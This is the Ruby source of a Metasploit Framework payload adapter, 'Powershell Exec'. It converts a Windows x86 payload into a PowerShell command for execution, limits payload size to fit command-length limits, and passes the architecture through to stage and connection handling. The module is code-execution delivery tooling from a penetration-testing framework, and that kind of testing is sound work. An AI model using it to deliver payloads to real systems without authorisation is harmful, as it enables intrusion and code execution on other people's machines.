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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  include Msf::Payload::Adapter
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  include Msf::Exploit::Powershell
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Powershell Exec',
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        'Description' => 'Execute an x86 payload from a command via PowerShell',
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        'Author' => 'Spencer McIntyre',
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        'Platform' => 'win',
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        'Arch' => ARCH_CMD,
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        'License' => MSF_LICENSE,
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        'AdaptedArch' => ARCH_X86,
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        'AdaptedPlatform' => 'win',
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        'RequiredCmd' => 'powershell'
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      )
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    )
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  end
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  def compatible?(mod)
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    # size is not unlimited due to the standard command length limit, the final size depends on the options that are
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    # configured but 3,000 is in a good range (can go up to 4,000 with default settings at this time)
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    if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 3_000)
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      return false
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    end
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    super
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  end
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  def generate(opts = {})
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    opts[:arch] ||= module_info['AdaptedArch']
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    payload = super
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    cmd_psh_payload(payload, ARCH_X86, remove_comspec: true)
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  end
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  def generate_stage(opts = {})
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    opts[:arch] ||= module_info['AdaptedArch']
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    super
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  end
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  def generate_payload_uuid(conf = {})
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    conf[:arch] ||= module_info['AdaptedArch']
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    conf[:platform] ||= module_info['AdaptedPlatform']
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    super
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  end
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  def handle_connection(conn, opts = {})
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    opts[:arch] ||= module_info['AdaptedArch']
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    super
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  end
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end
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